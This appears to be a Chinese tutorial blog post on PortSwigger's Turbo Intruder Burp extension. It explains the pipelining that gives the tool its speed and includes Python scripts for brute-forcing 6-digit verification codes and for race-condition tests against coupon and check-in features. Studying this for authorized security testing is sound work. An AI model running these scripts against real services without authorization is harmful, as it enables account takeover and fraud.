Turbo Intruder:突破速率限制

在这里插入图片描述

很多测试因为速度达不到而使理论上的结果无法实现。即使可以增加线程数来提升速度,资源占用问题也会成为另一种瓶颈。

特点介绍

Turbo Intruder 是一个 Burp Suite 扩展插件,用于发送大量 HTTP 请求并分析结果。它旨在处理那些需要异常速度、持续时间或复杂性的攻击来补充Burp Intruder。以下功能为其特点:

  • 快速- Turbo Intruder 使用了一个重写的 HTTP 栈 ,用于提升速度。因此,在许多目标上,它甚至可以大大超过流行的异步Go脚本。
  • 可扩展-Turbo Intruder 可以实现平坦的内存使用,实现可靠的连续多天运行。同时可以脱离 burp suite 使用。
  • 灵活- 使用 Python 配置攻击。这可以处理复杂的要求,例如签名请求和多步攻击序列。此外,自定义 HTTP 栈意味着它可以处理其他库无法处理的畸形格式请求。
  • 方便- 一些无用结果可以通过采用 Backslash Powered Scanner的高级差异算法自动过滤掉。这意味着您只需单击两次即可发起攻击并获得有用的结果。

官方slogan:Turbo Intruder:拥抱十亿请求攻击

官方网站

https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988

一、原理

在这里插入图片描述

​ 普通的请求方式一般分为两种:一种是 “ 建立连接—浏览器请求—服务端响应—断开连接 ”,每次获取资源都需要建立新的连接,这种方式我们称为短连接(Connection: close );另一种就是 第一次请求的时候就建立好连接,后续获取资源都是通过这条连接来获取资源,这种方式我们称为长连接(Connection: keepalive)。从上图可以看出使用长连接方式发起请求是短连接速度的400%。
​ 另外,它还使用了HTTP 管道(HTTP Pipelining )的方式来发送 请求,这种方式会在等待上一个请求响应的同时,发送下一个请求。而在发送过程中不需要等待服务器对前一个请求的响应;只不过,客户端还是要按照发送请求的顺序来接收响应。通过 HTTP 管道的方式发起请求是短连接(Connection: close )速度的 6000% 。

二、速度与性能

​ 先看一下视频中作者贴出的使用截图。

在这里插入图片描述

​ 从图中状态栏可以看出Requests(请求数):1431484160、Duration(持续时间/秒):63491秒,约合17小时、RPS(每秒请求数):22546。而内存只用了 1GB多。

​ 然后看一下日常使用时的截图。

在这里插入图片描述

​ 此场景为6位手机验证码爆破,可以看到用时334秒完成了100W次请求,RPS也达到了2994。由于服务器响应,网络稳定性等问题,虽然速度远不及作者的2W每秒的速度。但是也足够在5分钟内完成6位验证码的爆破。

使用姿势

一、安装

​ 安装途径1、Burp Suite的BApp Store。

在这里插入图片描述

​ 安装途径2、https://github.com/PortSwigger/turbo-intruder/releases

找到最新版下载导入。

在这里插入图片描述

二、使用方式

​ 选中数据包右键选择Send to turbo intruder。

在这里插入图片描述

​ 此时会打开一个新的窗口,该窗口上半部分区域为原始的HTTP请求包,下半部分为操作代码,中间部分可以根据场景从下拉框中选择具体操作代码。每次打开时此处默认为Last code used,即为上次使用的代码。

在这里插入图片描述

​ 其中代码区需要使用“%s”字符来代替需要进行Fuzz的部分。选择对应的操作代码点击最下方Attack即可开始攻击。具体使用细节,可结合第三部分使用场景。

使用场景

一、验证码爆破

​ 如手机邮箱验证码登录功能,手机邮箱验证码密码找回功能。

​ 验证码爆破结合用户名枚举一般可以实现接管任意用户。在企业SRC中一般会定级为高危漏洞。

在这里插入图片描述

操作代码如下:

from itertools import product

def brute_veify_code(target, engine, length):
   pattern = '1234567890'	#用于生成字典的迭代对像
   for i in list(product(pattern, repeat=length)):	#product()接收多个迭代对像,然后生成一个笛卡尔积,repeat参数代表重复迭代对象次数。
        code =  ''.join(i)
        engine.queue(target.req, code)

def queueRequests(target, wordlists):
   engine = RequestEngine(endpoint=target.endpoint,		#指定目标的地址
           concurrentConnections=30,	#与服务器建立30条连接
           requestsPerConnection=100,	#每条连接同时发送100个请求
           pipeline=True	#开启管道(HTTP Pipelining)模式
           )
   brute_veify_code(target, engine, 6)

def handleResponse(req, interesting):

 if 'error' not in req.response:	#对response进行操作,不含有“error”的添加入表中
      table.add(req)

演示:

​ 假设百度wd参数为数字6位验证码。将参数值以“%s”代替,然后将上方代码复制到操作代码区域。

在这里插入图片描述

​ 点击Attack开始攻击,可以看到"%s"被替换为生成的字典内容。31秒成功请求29431次,RPS为949。

在这里插入图片描述

二、并发测试

​ 并发漏洞属于业务逻辑漏洞,存在于对次数进行限制的功能点,如签到,抽奖,优惠券领取等功能点。使用并发技术进行测试,观察服务器是否可以多次成功响应。在企业SRC中会根据具体功能点和影响进行定级。

在这里插入图片描述

操作代码如下:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )

    for i in range(30):		#创建30个请求,需要和concurrentConnections对应,每条连接发送一个请求
        engine.queue(target.req, target.baseInput, gate='race1')	#“gate”参数会阻塞每个请求的最后一个字节,直到调用openGate
#等待,直到每个“race1”标记的请求就绪,然后发送每个请求的最后一个字节
    engine.openGate('race1')	#标识属于同一个并发测试的请求
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

演示:

​ 此代码在插件中可选/examples/race.py

在这里插入图片描述

​ 由于并发测试不需要对原始请求包进行处理,所以很可能会遇到下面这种问题

在这里插入图片描述

​ 由于工具执行流程,所以在原始请求包里必须有"%s"字段,所以可以在请求包中任意位置添加“%s”即可。

在这里插入图片描述

​ 根据length将响应排序后可以发现有4个响应包返回内容不同。可以根据具体返回信息进行判断。

其它场景应用

​ 除了以上两种之外,还可以使用turbo-intruder进行目录扫描,暴力破解等。更多功能实现可参考https://github.com/PortSwigger/turbo-intruder/tree/master/resources/examples/

​ 同样也可以根据自己的使用场景编写自定义的操作代码。

以上就是个人对此工具的使用,熟练使用此工具可以突破请求速率的问题,解锁更多攻击姿势,提升工作效率。也是非常喜欢这个工具,所以将使用心得在此分享给大家。

/turbo-intruder/tree/master/resources/examples/

​ 同样也可以根据自己的使用场景编写自定义的操作代码。

以上就是个人对此工具的使用,熟练使用此工具可以突破请求速率的问题,解锁更多攻击姿势,提升工作效率。也是非常喜欢这个工具,所以将使用心得在此分享给大家。

  • 1
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值